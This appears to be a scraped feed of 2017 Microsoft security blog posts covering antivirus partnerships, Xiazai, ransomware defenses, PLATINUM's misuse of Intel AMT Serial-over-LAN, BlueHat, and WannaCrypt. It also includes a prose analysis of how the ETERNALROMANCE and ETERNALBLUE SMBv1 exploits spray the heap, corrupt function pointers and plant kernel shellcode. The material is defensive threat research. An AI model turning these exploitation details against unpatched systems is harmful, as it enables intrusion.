Malware and ransomware continue to be some of the most prevalent and harmful security threats our customers face today with more than 300,000 new malware samples being created and spread every day. This continuous threat is why we in Windows have a principled approach to protecting our customers against malware and ransomware in partnership with security experts both in and outside of Microsoft. Today, I want to share more about our approach to customer safety and security and how we work with the security ecosystem.

Supporting a rich ecosystem of AV protection for customers

An important part of our security approach is delivering next-generation antivirus protection with Windows Defender Antivirus, an enterprise-grade antivirus built in to Windows 10 leveraging the cloud, machine learning, behavior analysis and vast optics from the Microsoft Intelligent Security Graph to provide faster, smarter malware defenses in real time.

We built Windows Defender Antivirus to make a promise to our customers that every Windows 10 device ALWAYS has protection from viruses and malware. Through our continued investments, our test results are among the top of security industry leaders, including recent real-world testing where Windows Defender Antivirus scored over 99 percent detection rates.

We also know that Window customers value choice and that is why we actively engage with and support a community of over 80 independent software vendors through the Microsoft Virus Initiative (MVI) program. This engineering program enables us to share key technical details of Microsoft technologies with our AV partners to collaborate on future directions and problem solve on existing security challenges to protect our shared customers from malicious software.

Today, many Windows 10 customers choose to use antimalware software from one of our MVI partners. Our close collaboration with these partners enables us to ensure our customer promise of “always on” malware protection no matter which solution they choose. We think this provides customers an easy way to choose the software vendors, features, and price points that work for them without worrying if their device will ever be unprotected.

Here are a few of our beliefs in how we protect our customers from malware.

We believe staying current is the most important thing in keeping customers safe and secure.

With twice annual feature updates, Windows 10 continues to deliver new security enhancements to protect against new evolving threats. An important part of keeping customers current is ensuring the update process is a seamless, positive experience. We’ve made considerable progress in both customer convenience, delivery and quality of the Windows Update experience, as well as ensuring compatibility of thousands of ISV applications from day one of an available update.

We’ve worked closely with AV partners to identify changes, provide early builds through the Windows Insider Program and other testing environments, and provide technical guidance through our MVI program. This cadence of regular updates, along with the Windows Insider Program, affords our partners and customers much greater transparency and insight into the Windows development process than ever before. Months before a semi-annual update is delivered to customers, interested parties can get easy access to fully running and deployable versions of the release, stay current with updates as the release progresses and becomes feature complete, and provide timely feedback on issues and bugs.

Also, because AV software can be deeply entwined within the operating system, we doubled down on our efforts to help AV vendors be compatible with the latest updates. By the time the most recent Windows 10 Creators Update released on April 11, for example, nearly all of the antivirus applications that Microsoft tested were fully compatible. In fact, Microsoft’s application compatibility teams found that roughly 95% of Windows 10 PCs had an antivirus application installed that was already compatible with Windows 10 Creators Update.

For the small number of applications that still needed updating, we built a feature just for AV apps that would prompt the customer to install a new version of their AV app right after the update completed. To do this, we first temporarily disabled some parts of the AV software when the update began. We did this work in partnership with the AV partner to specify which versions of their software are compatible and where to direct customers after updating.

We believe in honoring customer choice and supporting a rich security ecosystem.

Microsoft supports a rich ecosystem of security partners, each attacking malware and ransomware with diverse perspectives, and continues to work with security partners to support that. As the security landscape, PC industry, and customer needs continue to evolve, Microsoft will continue to work with security partners to ensure that the broad security industry does everything possible to keep customers safe.

Once a customer has installed an active and up to date antivirus program, it will run without notifications or interference from Windows. Microsoft’s own free, built-in Windows Defender Antivirus does not run periodic scans without explicit customer action or provide protection until the chosen third-party AV solution is no longer protecting the Windows 10 device due to expiration.

Additionally, when customers experience support issues, our Microsoft Support teams work closely with them to honor the AV choices they’ve made. In some cases, uninstalling and then reinstalling the software, including third-party AV solutions, is a necessary step in resolving a customer issue.

We believe in “always on” customer protection.

If AV software is protecting our customers, Windows Defender Antivirus will stay off. If a customer does allow an antivirus application to expire, Windows Defender Antivirus is automatically turned on so that they are not left unprotected.

In the case of paid AV solutions, we worked with our AV partners to build a consistent set of notifications to inform customers if their license is about to expire and to present options to renew the license. Only when an AV subscription expires, and the AV application decides to stop providing protection to the customer, will Windows Defender Antivirus begin providing protection.

Screenshot of security subscription notification

We believe in earning customer trust every day.

We remain ever vigilant in our conviction to make Windows 10 the safest and most secure OS platform ever and earn our customers’ trust every day. To do that we will support a vibrant ecosystem of security solutions. Wherever possible, Windows will help customers make informed choices and respect user choice for security protection.

We will also continue to push the bar for customer protection. We regularly propose and test new ideas to improve customer protection and choice and work directly with our AV partners to validate these new ideas for the benefit of our mutual customers. This rich feedback loop and open exchange of ideas on what we bring to market results in a safer Windows for everyone.

Microsoft has actively engaged for more than 20 years with our antivirus ecosystem partners around the world to protect Windows users in the face of evolving cyber threats. We look forward to continued collaboration with these partners toward our mutual goal of protecting customers.

 

Rob Lefferts

Partner Director, Windows & Devices Group, Security & Enterprise

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/20/partnering-with-the-av-ecosystem-to-protect-our-windows-10-customers/feed/4
Analysis of the Shadow Brokers release and mitigation with Windows 10 virtualization-based securityhttps://blogs.technet.microsoft.com/mmpc/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/https://blogs.technet.microsoft.com/mmpc/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/#commentsFri, 16 Jun 2017 18:17:03 +0000https://blogs.technet.microsoft.com/mmpc/?p=12786

On April 14, a group calling themselves the Shadow Brokers caught the attention of the security community by releasing a set of weaponized exploits. Shortly thereafter, one of these exploits was used to create wormable malware that we now know as WannaCrypt, which targeted a large number of out-of-date systems and held encrypted files for ransom.

Although the exploits are ineffective on newer platforms or attempt to take advantage of already patched vulnerabilities, they nevertheless provide an opportunity to analyze and evaluate whether the exploitation techniques used are still viable on Windows 10 systems with Creators Update.

In Windows 10, key security enhancements such as kernel Address Space Layout Randomization (kASLR), kernel Data Execution Prevention (DEP), and virtualization-based security (VBS) capabilities delivered with Device Guard all contribute to breaking the exploit techniques observed in the wild. Through VBS’s usage of CPU hypervisor functionality, Device Guard-enabled systems can verify and enforce integrity of code that's mapped in the kernel address space. Alongside Device Guard is the new kernel Control Flow Guard (kCFG) introduced with Windows 10 Creators Update. kCFG prevents many exploitation techniques that rely on corrupting function pointers to achieve code execution.

In this blog, we provide an in-depth analysis of two of the exploits released by the Shadow Brokers. Both exploits allow arbitrary code execution through vulnerabilities in the Server Message Block (SMBv1) file-sharing server implementation.

We follow with a discussion about how Device Guard and kCFG prevent these exploits—and many other exploits—from installing backdoor implants in kernel memory.

The exploit kit

The kit’s directory structure shows a modular exploitation framework, where payloads are kept separate from exploits.

Exploit kit directory structure

Figure 1. Exploit kit directory structure

All the binaries in the kit contain multiple strings that describe their purpose. Furthermore, the kit exports common functionality to DLL files, revealing additional information through referenced function names. While the strings and the function calls were not necessary for us to examine the kit, both helped speed up our initial analysis.

For more information about the individual exploits in the kit that targeted Microsoft products, refer to the blog post from Microsoft Security Response Center.

ETERNALROMANCE SMB exploit

Let’s dig into the guts of one of the exploits in the kit.

ETERNALROMANCE is a remote code execution (RCE) exploit against the legacy SMBv1 file sharing protocol. It takes advantage of CVE-2017-0145, which has been patched with the MS17-010 security bulletin. One might note that file sharing over SMB is normally used only within local networks and that the SMB ports are typically blocked from the internet at the firewall. However, if an attacker has access to a vulnerable endpoint running SMB, the ability to run arbitrary code in kernel context from a remote location is a serious compromise.

This exploit was written to remotely install and launch an SMB backdoor. At the core of this exploit is a type confusion vulnerability leading to an attacker offset controlled arbitrary heap write. As with almost any heap corruption exploit, the attacker must know or control the layout of the heap to consistently succeed. With SMB, most objects are allocated in the non-paged pool.

Getting a reliable heap layout

The exploit begins to spray the heap by starting several concurrent instances of SMB_ COM_TRANSACTION. The exploit binary supports three different heap spray methods, allowing it to deal with varying pool behaviors between Windows versions. Apart from the first few allocations (the exact number depends on the pool state), transaction objects are allocated with a fixed, predictable displacement from each other. After the spray has finished, the exploit uses an info leak in a TRANS_PEEK_NMPIPE transaction. It uses the info leak to determine whether the target is running a 32- or 64-bit version of Windows and to get kernel pointers for various SMB objects.

A network trace can quickly visualize what's going on:

Network packet containing leaked pool memory

Figure 2. Network packet containing leaked pool memory

Building primitives from heap corruption

The spray has placed many TRANSACTION objects on the heap at a known distance from each other. And because the exploit has leaked the size of a pointer, it knows the offsets to all fields in the TRANSACTION object. The exploit can now—using carefully crafted offsets—use the type confusion out-of-bounds write from one object to corrupt an adjacent one.

By overwriting the ID associated with the victim object with a hardcoded number (zero), the exploit can now refer to the object without knowing what the original ID was.

Heap layout after the spray

Figure 3. Heap layout after the spray

The exploit proceeds to corrupt the transaction structure in a variety of ways, constructing arbitrary read-write (RW) primitives. It writes additional fields to prevent the transaction from being freed when consumed, allowing the exploit to continue reusing the same transaction for multiple requests without having to pick a new target object to corrupt.

InData pointer observed in WinDbg being overwritten by heap out-of-bounds write

Figure 4. InData pointer observed in WinDbg being overwritten by heap out-of-bounds write

Installing in-memory backdoor

At this point, the exploit code attempts to plant backdoor code inside the SMB driver. This step consists of copying shellcode into the non-paged pool, corrupting a function pointer to point to the shellcode and having that function pointer executed. Note that starting with Windows 8, SMB has moved to using non-executable pools, rendering this method ineffective on newer platforms.

To find a good spot for the function pointer, the exploit follows a pointer on the heap to reach the data segment. Scanning the data segment, it proceeds to look for a table of function pointers that is used to dispatch different SMB_COM_TRANSACTION2 subcommands to different functions.

When it finds the table of function pointers, the exploit overwrites the 14th entry on this table, which corresponds to the TRANS2_SESSION_SETUP subcommand. MSDN documentation describes this subcommand as reserved, making it an ideal candidate for triggering the backdoor as it is almost never present in SMB traffic.

Whenever an SMB packet is sent with this subcommand ID to the target device, the function pointer gets executed, triggering the shellcode. This mechanism and the backdoor code are not persistent—they require a persistent second-stage component to survive a reboot.

Decompiled code for planting the backdoor

Figure 5. Decompiled code for planting the backdoor

ETERNALBLUE SMB exploit

The WannaCrypt malware spreads by using an adapted version of the ETERNALBLUE exploit. This bug, which targets a different SMBv1 vulnerability, is a linear buffer overrun on the pool.

The bug occurs in a special case when converting a list of extended attributes (EA) from one format to another. If the list contains an EA entry that goes outside the packet buffer, the list is truncated as if it only included up to the last valid entry.

When updating the length of the list, the size is written to as if it were a 16-bit ushort, when it is actually a 32-bit ulong. This means that the upper 16-bits are not updated when the list gets truncated:

Size of list of extended attributes (EA)

Figure 6. Size of list of extended attributes (EA)

The code allocates a buffer with a size calculated to fit all EA entries up to the truncation. But as the list size was increased, this leads to a linear heap overflow with attacker controlled data.

In a similar way as before, heap is sprayed but this time with srvnet!SRVBUFFER objects using the SMBv2 protocol. This object contains two key pointers that they target: an MDL pointer that receives network packet payload and a pointer to a srvnet!SRVNET_CONNECTION object. Both pointers are overwritten so that they point to fixed addresses in the HAL region (used by the hardware abstraction layer).

Because of the corrupted MDL pointer, the next packet payload will get written to the HAL region. This payload contains shellcode and initializes the memory structure for a fake srvnet!SRVNET_CONNECTION object. The connection object has a pointer to a srvnet!SRVNET_CLIENT_CONNECTION_DISPATCH structure that contains function pointers.

After the packet payload has been received, the SRVNET_RECEIVE_HANDLER function pointer is executed from the attacker-controlled srvnet!SRVNET_CLIENT_CONNECTION_DISPATCH structure, jumping to the shellcode.

On Windows 7, which is the system that the exploit targets, the HAL region is mapped as readable, writable, and executable. On newer systems the HAL region is no longer executable, meaning that the CPU would fault when trying to execute the shellcode. Furthermore, the HAL region and other kernel regions (such as page tables) have been randomized on the latest 64-bit versions of Windows 10, breaking assumptions of the 64-bit version in the ETERNALBLUE exploit.

Annotated contents of the HAL region with the fake srvnet!SRVNET_CONNECTION object

Figure 7. Annotated contents of the HAL region with the fake srvnet!SRVNET_CONNECTION object

Mitigation with virtualization-based security

Virtualization-based security (VBS) provided with Device Guard on Windows 10 and kCFG enhancements with Creators Update stop common exploitation techniques, including those utilized by ETERNALROMANCE and ETERNALBLUE.

Stopping shellcode execution with W^X enforcement

On systems that have Device Guard VBS enabled, writing and then executing shellcode—such as the ETERNALROMANCE backdoor—in the kernel is not possible due to W^X enforcement policies in the hypervisor. These policies ensure that a kernel memory page is never both writable and executable at any given time.

Even if an attacker tries to attack page tables, the hypervisor is still able to force the execute-disable bit through extended page tables (EPT). This in turn forces attackers to rely on code-reuse methods, such as return-orientation programming (ROP). As a consequence, the shellcode implant library in the Shadow Brokers release is fundamentally incompatible with VBS-protected systems.

Preventing use of corrupt function pointers with kCFG

In Windows 10 Creators Update, we introduced a new security mitigation in the kernel space for VBS-enabled systems. The kernel is now compiled with Control Flow Guard (CFG)—a control flow integrity solution designed to prevent common stack-pivoting techniques that rely on corrupt function pointers or C++ virtual method tables.

Control Flow Guard in the compiled kernel (also known as kCFG) aims to verify all indirect call targets before invoking them. This makes it harder for an attacker to execute code by abusing function pointers or other indirect calls.

In the case of the ETERNALROMANCE exploit, the subverted function pointer would lead to a security fault when invoked, making the exploit non-functional in its current form. The same applies for ETERNALBLUE, which also relies on a corrupted function pointer to achieve code execution.

With kCFG enabled, the function pointer is now verified by __guard_dispatch_icall_ptr

Figure 8. With kCFG enabled, the function pointer is now verified by __guard_dispatch_icall_ptr

On early Windows 10 systems before Creators Update and without Device Guard, it is possible to attack the page tables of the HAL region to turn it executable and gain code execution using the ETERNALBLUE exploit technique.

Secure computing with Windows 10 Creators Update

While we actively provide patches for vulnerabilities in services like SMBv1, we strive to deliver more and more system-wide mitigations that proactively protect our users from current, as well as future, exploitation and attack methods.

Customers who run Windows 10 Creators Update benefit from Device Guard and security enhancements like kCFG and W^X. They also benefit from a host of other security features that have been strengthened with Windows 10 Creators Update, including:

Reducing exposure to SMBv1 exploits on older platforms

Microsoft strongly advises customers to apply all available security updates in a timely manner. To reduce the attack surface on your network, block inbound SMB traffic at the firewall and, if possible, disable the SMBv1 compatibility driver.

 

Viktor Brange
Windows Offensive Security Research Team

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/feed/4
MSRT June 2017: Removing sneaky Xiazaihttps://blogs.technet.microsoft.com/mmpc/2017/06/13/msrt-june-2017-removing-sneaky-xiazai/https://blogs.technet.microsoft.com/mmpc/2017/06/13/msrt-june-2017-removing-sneaky-xiazai/#commentsTue, 13 Jun 2017 22:56:02 +0000https://blogs.technet.microsoft.com/mmpc/?p=12715In the June release of the Microsoft Malicious Software Removal Tool (MSRT), we’re adding Xiazai, a widespread family of browser modifiers that we have blocked and removed from millions of computers since 2015.

Xiazai is a software bundler that can sneak in additional changes. Xiazai does not install itself or make autostart registry entries, but the impact of its changes can persist long after Xiazai itself is gone. MSRT will remove Xiazai but it will also restore system settings.

Xiazai’s extra changes affect browsing experience. On top of offering bundled applications during installation, as software bundlers would do, it can modify browsers’ home page so that the browser always opens to a specific website. It can also change browser shortcuts on the desktop and taskbar so that when the browser is launched using these modified shortcuts, it opens the said website.

This behavior is classified unwanted based on our evaluation criteria. At Microsoft, we work to protect customers’ choice and control of their devices, computing, and browsing experiences. Xiazai violates this by setting the browser to always open a specific website when launched. Even if the user reverts the home page, the browser will continue to open the said website when launched from the taskbar or desktop. This system change takes away control from the user.

Xiazai is a very prolific threat. We have observed it on more than two million machines since October 2015. It’s also still very active. This year, we blocked some 30K infections on average every month.

Xiazai: Sneaky browser modifier

Xiazai can be downloaded from the Internet as an installer for legitimate software, for example, Adobe Photoshop. When run, it offers to download and install Photoshop, as well as several bundled applications, which are selected by default. There is nothing outright malicious at this point, as the user can opt out of installing the bundled applications.

If the user proceeds, Xiazai downloads the legitimate installer. The installation window asks the user whether to install Photoshop right away or later. And then things get very dodgy.

More bundled applications are offered, again selected by default. There’s also an option to modify browser settings and browser shortcuts, also selected off by default.

One of two things can happen at this point:

  1. If the user chooses to install right away, Photoshop is installed, together with the selected bundled applications (six extra applications in total, if the user does not un-select anything), and the browser changes.
  2. If the user chooses to install later, Photoshop is not installed, but the bundled applications are still installed right away and browser settings and shortcuts are modified.

In the second scenario, the user is never again prompted about Photoshop. To actually install the said application, the user has to manually run the downloaded installer. And this is how the true intent of Xiazai is revealed.

Xiazai forces the browser to always open a specific website when launched. There are two ways by which Xiazai does this. First, it modifies the default home page in the browser settings.

Second, it modifies shortcut files on the desktop and on the taskbar to add a URL parameter. With this change, even if the user restores the browser settings, the browser still opens the website when launched from the desktop or taskbar.

Prevention, detection, and recovery

You may encounter Xiazai when searching for installers on third-party sites, but you may get more than what you bargained for. It’s a software bundler that does what you’d expect it to do, which is to install legitimate software. However, it also comes with additional, mostly also legitimate, software that you might not need or want. It also modifies your browsing experience in ways that are unexpected, unwanted, and hard to diagnose.

To stay away from Xiazai, get applications only from official app stores or official vendor websites. Use Microsoft Edge. It uses Windows Defender SmartScreen (also used by Internet Explorer) to block known malicious websites and malicious downloads.

Get the latest protection from Microsoft. Keep your Windows operating system and antivirus, such as Windows Defender Antivirus and Microsoft Malicious Software Removal Tool (MSRT), up-to-date. If you haven’t already, upgrade to Windows 10.

Block Xiazai and other threats, including new, never-before-seen variants, in real-time. Instant protection from Windows Defender Antivirus cloud protection service is turned on by default. To check that Real-time protection and Cloud-based protection settings are turned On, launch the Windows Defender Security Center, then go to Settings > Virus & threat protection settings.

For enterprises, use Device Guard, which can lock down devices and provide kernel-level virtualization-based security. By allowing only trusted applications to run, Device Guard protects devices from Xiazai and other threats.

Use Windows Defender Advanced Threat Protection to get alerts about suspicious activities, including the download of malware, so you can detect, investigate, and respond to attacks in enterprise networks.

 

James Patrick Dee, Eric Avena
Microsoft Malware Protection Center

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/13/msrt-june-2017-removing-sneaky-xiazai/feed/1
Windows 10 Creators Update provides next-gen ransomware protectionhttps://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/Thu, 08 Jun 2017 16:02:51 +0000https://blogs.technet.microsoft.com/mmpc/?p=12575Multiple high-profile incidents have demonstrated that ransomware can have catastrophic effects on all of us. From personally losing access to your own digital property, to being impacted because critical infrastructure or health care services are unexpectedly unavailable for extended periods of time, destructive attacks have grown in severity and scale on all platforms - including Mac, Linux, and Windows.

Microsoft recognizes the threat to productivity that brazen modern cybercrime represents and invests significantly in a thoughtful and simple strategy that is proving to be effective as new attacks emerge:

  • We protect by hardening our software and devices; leveraging hardware-based security and exploit mitigations to significantly raise the cost of attack on Windows 10.
  • We recognize that history has demonstrated that highly skilled and well-funded attackers can find unanticipated paths to their objectives. We detect and help prevent against these threats with advanced protection services like Windows Defender Antivirus and Windows Defender Advanced Threat Protection.
  • We enable customers and security experts to respond to threats that may have impacted them with tools like Windows Defender ATP. Enterprise security operations personnel must act quickly and confidently with completeness of information to remediate an attack that may have impacted them.

This strategy works. No known ransomware works against Windows 10 S - our latest and most hardened operating system. What's more, no Windows 10 customers were known to be compromised by the recent WannaCrypt (also known as WannaCry) global cyberattack.

Despite the success of Windows 10 in resisting WannaCrypt, we recognize that not every customer is running Windows 10 yet and that social engineering, deceptive software, and out of date systems can fall victim to devastating ransomware attacks. This is why we provide regular software updates and security fixes, even for unsupported versions of Windows in extreme cases, and more importantly, why the Windows 10 Creators Update benefits from new, innovative hardening investments to stop malicious code via features like Kernel Control Flow Guard (kCFG) and Arbitrary Code Guard (ACG) for Edge. These kinds of investments allow us to mitigate specific attacks that have not yet been seen because we are targeting the techniques exploit developers use instead of reacting to specific threats after they emerge.

Windows Defender AV on Windows 10 leverages the power of the cloud and artificial intelligence built on top of the Microsoft Intelligent Security Graph (ISG) to rapidly identify new threats, including ransomware, as they are first seen anywhere around the globe. In Windows 10 Creators Update we significantly enhanced the capability of Windows Defender AV to identify and stop ransomware more accurately and rapidly than ever before - reducing the impact to our customers. Finally, Windows Defender ATP has been updated to include ransomware specific detection capabilities as well as useful remediation actions for security experts who must respond to a ransomware attack on their business.

We provide a deeper level of the technical details on the ransomware specific investments in Windows 10 Creators Update in our new whitepaper Next-gen ransomware protection with Windows 10 Creators Update. The whitepaper is also available in Japanese (日本語).

The paper outlines how Windows 10 Creators Update, combined with the latest version of Windows Defender AV, extensive cloud built with human intelligence, rich machine learning, and next-gen endpoint protection provides the best in-depth protection against ransomware:

We are proud of how well Windows 10 has protected our customers from destructive attacks like ransomware. Our strategy of protect, detect, and respond - combined with Windows as a Service - enables us to dramatically increase the cost of attacking Windows 10 with each successive feature update. And our recommended approach is simple:

  • Implement robust software update deployment technologies. If you don't have Windows Defender ATP already, we encourage you to sign up for a free trial. Details can be found at the Windows Defender ATP trial sign-up page.
  • Educate users on email, browser and social-engineering-based attacks.
  • Ensure antimalware software is up to date.
  • Back up all critical data to the cloud.

We are hard at work this summer developing our next wave of hardening and mitigations, detection, and response capabilities for release this fall.

 

Robert Lefferts
Director of Program Management, Windows Enterprise and Security

]]>
PLATINUM continues to evolve, find ways to maintain invisibilityhttps://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/#respondWed, 07 Jun 2017 15:00:30 +0000https://blogs.technet.microsoft.com/mmpc/?p=12585Back in April 2016, we released the paper PLATINUM: Targeted attacks in South and Southeast Asia, where we detailed the tactics, techniques, and procedures of the PLATINUM activity group.

We described a group that was well-resourced and quickly adopted advanced techniques, such as hot patching to silently inject code into processes. They used hot patching even when traditional injection techniques could have been sufficient and less costly to develop.

Since the 2016 publication, Microsoft has come across an evolution of PLATINUM's file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device. Until this incident, no malware had been discovered misusing the AMT SOL feature for communication.

Upon discovery of this unique file-transfer tool, Microsoft shared information with Intel, and the two companies collaborated to analyze and better understand the purpose and implementation of the tool. We confirmed that the tool did not expose vulnerabilities in the management technology itself, but rather misused AMT SOL within target networks that have already been compromised to keep communication stealthy and evade security applications.

The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia—PLATINUM is known to customize tools based on the network architecture of targeted organizations. The diagram below represents the file-transfer tool's updated channel and network flow.

 

PLATINUM file transfer tool network flow

Figure 1. PLATINUM file-transfer tool network flow

The AMT SOL feature is not enabled by default and requires administrator privileges to provision for usage on workstations. It is currently unknown if PLATINUM was able to provision workstations to use the feature or piggyback on a previously enabled workstation management feature. In either case, PLATINUM would need to have gained administrative privileges on targeted systems prior to the feature's misuse.

AMT Serial-over-LAN (SOL) communication channel

Active Management Technology (AMT) enables remote management of devices and is provided as a feature of Intel® vPro™ processors and chipsets. AMT runs in the Intel Management Engine (ME), which runs its own operating system to execute on an embedded processor located in the chipset (Platform Controller Hub, PCH). As this embedded processor is separate from the primary Intel processor, it can execute even when the main processor is powered off and is therefore able to provide out-of-band (OOB) remote administration capabilities such as remote power-cycling and keyboard, video, and mouse control (KVM).

AMT has a Serial-over-LAN (SOL) feature that exposes a virtual serial device with a chipset-provided channel over TCP.

 

AMT SOL device

Figure 2. AMT SOL device

This functionality works independently of the device host operating system networking stack—the ME makes use of its own networking stack and has access to the hardware network interface. This means that even if networking is disabled on the host, SOL will still function as long as the device is physically connected to the network.

 

AMT SOL component stack

Figure 3. AMT SOL component stack

Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications running on the host device. To enable SOL functionality, the device AMT must be provisioned. Also, establishment of a SOL session requires a username and password—usually selected during device provisioning. The tool would therefore require the relevant credentials to establish such a session.

One possibility is that PLATINUM might have obtained compromised credentials from victim networks. Another possibility is that the targeted systems did not have AMT provisioned and PLATINUM, once they've obtained administrative privileges on the system, proceeded to provision AMT.

There are several methods for provisioning AMT. The most straightforward is host-based provisioning (HBP), which can be done from within the host Windows OS itself and requires administrator permissions. During the provisioning process, PLATINUM could select whichever username and password they wish. HBP enables access to a subset of AMT functionality, which includes SOL but restricts access to other features such as KVM redirect.

How PLATINUM uses SOL

In the first version of the file-transfer tool, which we described in the original paper, network communication is done over TCP/IP by utilizing the regular network APIs. The presentation layer protocol is straightforward: the buffer is made up of a two-byte header—the indication length—and the Blowfish-encrypted payload data itself.

 

TCP protocol length header and payload

Figure 4. TCP protocol length header and payload

The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK's Redirection Library API (imrsdk.dll). Data transactions are performed by the calls IMR_SOLSendText()/IMR_SOLReceiveText(), which are analogous to networking send() and recv() calls. The SOL protocol used is identical to the TCP protocol other than the addition of a variable-length header on the data for error detection. Also, the updated client sends an unencrypted packet with the content "007" before authentication.

 

AMT SOL protocol error detection header length header and payload

Figure 5. AMT SOL protocol error-detection header, length header, and payload

The new header has various fields to detect possible data corruption errors, including a CRC-16 and a binary index of the bytes having the set of most significant bits (MSB).

 

Construction of error detection header

Figure 6. Construction of error-detection header

 

The following video demonstrates how the PLATINUM tool can be used to transfer malware to a computer with AMT provisioned:

Detecting unusual binaries that use AMT

If an attacker who has access to AMT credentials attempts to use the SOL communication channel on a computer running Windows Defender ATP, behavior analytics coupled with machine learning can detect the targeted attack activity. Windows Defender ATP displays an alert similar to the one shown below. Windows Defender ATP can differentiate between legitimate usage of AMT SOL and targeted attacks attempting to use it as a communication channel.

 

Windows Defender ATP detection of Malicious AMT SOL channel activity

Figure 7. Windows Defender ATP detection of malicious AMT SOL channel activity

The PLATINUM tool is, to our knowledge, the first malware sample observed to misuse chipset features in this way. While the technique used here by PLATINUM is OS independent, Windows Defender ATP can detect and notify network administrators of attempts to leverage the AMT SOL communication channel for unauthorized activity, specifically when used against a computer running Windows.

At Microsoft, we continuously monitor the threat landscape for novel techniques used for malicious purposes. We also constantly build mechanisms that mitigate resulting risks and protect customers. The discovery of this new PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP team does to provide customers greater visibility into suspicious activities transpiring on their networks.

Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel® Active Management Technology (AMT), but uses the technology within an already compromised network to evade security monitoring tools.

 

David Kaplan, Stefan Sellmer, and Andrea Lelli
Windows Defender ATP Research Team

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/feed/0
BlueHat v17 Call for Papers Openshttps://blogs.technet.microsoft.com/bluehat/2017/06/01/bluehat-v17-call-for-papers-opens/https://blogs.technet.microsoft.com/bluehat/2017/06/01/bluehat-v17-call-for-papers-opens/#respondThu, 01 Jun 2017 17:05:23 +0000https://blogs.technet.microsoft.com/bluehat/?p=2135Calling security professionals and enthusiasts throughout the world. Microsoft is pleased to open the Call for Papers for our BlueHat v17 Security Conference. Potential speakers have from June 1st through August 18th to submit abstract proposals for this unique opportunity. As in past events, we are looking for individuals to challenge the thinking and actions we do in security as well as join the community discussion on the current threat landscape that is impacting our customers. We are looking for abstract submissions with clear calls to action for our engineering focused audience. The suggested themes for this event are:

  • Virtualization & Cloud-based research, exploits and defense
  • How customers are getting owned (case studies, threat intelligence, and research)
  • New Exploit techniques
  • Emerging Threats & Trends
  • Anti-exploitation techniques
  • Identity & Authentication research, exploits and defense
  • Infrastructure & loT Security research, exploits and defense
  • Industry & Government Roles in CyberSecurity

You can submit your abstracts here: https://aka.ms/bhcfp. Come challenge us and help shape how Microsoft thinks about security!

BlueHat v17 is a two-day security conference for general audiences. It will be held November 8-9, 2017 at the Microsoft Conference Center here in Redmond. This year will see a larger event, over one thousand people expected in person, as BlueHat welcomes partners from the Microsoft Security Response Summit. The conference is open to invited external guests and Microsoft employees and contingent staff. More details on logistics and about the conference will be posted throughout the summer and fall here on the BlueHat blog. Check back to get the latest here. We look forward to hearing from you and meeting you again in November.

 

Phillip Misner,

Principal Security Group Manager, MSRC

 

Learn More: BlueHat-v17-CFP-Instructions

]]>
https://blogs.technet.microsoft.com/bluehat/2017/06/01/bluehat-v17-call-for-papers-opens/feed/0
WannaCrypt ransomware worm targets out-of-date systemshttps://blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/https://blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/#commentsSat, 13 May 2017 06:40:39 +0000https://blogs.technet.microsoft.com/mmpc/?p=12405(Note: Read our latest comprehensive report on ransomware: Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygiene.)

 

On May 12, 2017 we detected a new ransomware that spreads like a worm by leveraging vulnerabilities that have been previously fixed. While security updates are automatically applied in most computers, some users and enterprises may delay deployment of patches. Unfortunately, the ransomware, known as WannaCrypt, appears to have affected computers that have not applied the patch for these vulnerabilities. While the attack is unfolding, we remind users to install MS17-010 if they have not already done so.

Microsoft antimalware telemetry immediately picked up signs of this campaign. Our expert systems gave us visibility and context into this new attack as it happened, allowing Windows Defender Antivirus to deliver real-time defense. Through automated analysis, machine learning, and predictive modeling, we were able to rapidly protect against this malware.

In this blog, we provide an early analysis of the end-to-end ransomware attack. Please note this threat is still under investigation. The attack is still active, and there is a possibility that the attacker will attempt to react to our detection response.

Attack vector

Ransomware threats do not typically spread rapidly. Threats like WannaCrypt (also known as WannaCry, WanaCrypt0r, WCrypt, or WCRY) usually leverage social engineering or email as primary attack vector, relying on users downloading and executing a malicious payload. However, in this unique case, the ransomware perpetrators used publicly available exploit code for the patched SMB "EternalBlue" vulnerability, CVE-2017-0145, which can be triggered by sending a specially crafted packet to a targeted SMBv1 server. This vulnerability was fixed in security bulletin MS17-010, which was released on March 14, 2017.

WannaCrypt’s spreading mechanism is borrowed from well-known public SMB exploits, which armed this regular ransomware with worm-like functionalities, creating an entry vector for machines still unpatched even after the fix had become available.

The exploit code used by WannaCrypt was designed to work only against unpatched Windows 7 and Windows Server 2008 (or earlier OS) systems, so Windows 10 PCs are not affected by this attack.

We haven’t found evidence of the exact initial entry vector used by this threat, but there are two scenarios that we believe are highly possible explanations for the spread of this ransomware:

  • Arrival through social engineering emails designed to trick users to run the malware and activate the worm-spreading functionality with the SMB exploit
  • Infection through SMB exploit when an unpatched computer is addressable from other infected machines

Dropper

The threat arrives as a dropper Trojan that has the following two components:

  1. A component that attempts to exploit the SMB CVE-2017-0145 vulnerability in other computers
  2. The ransomware known as WannaCrypt

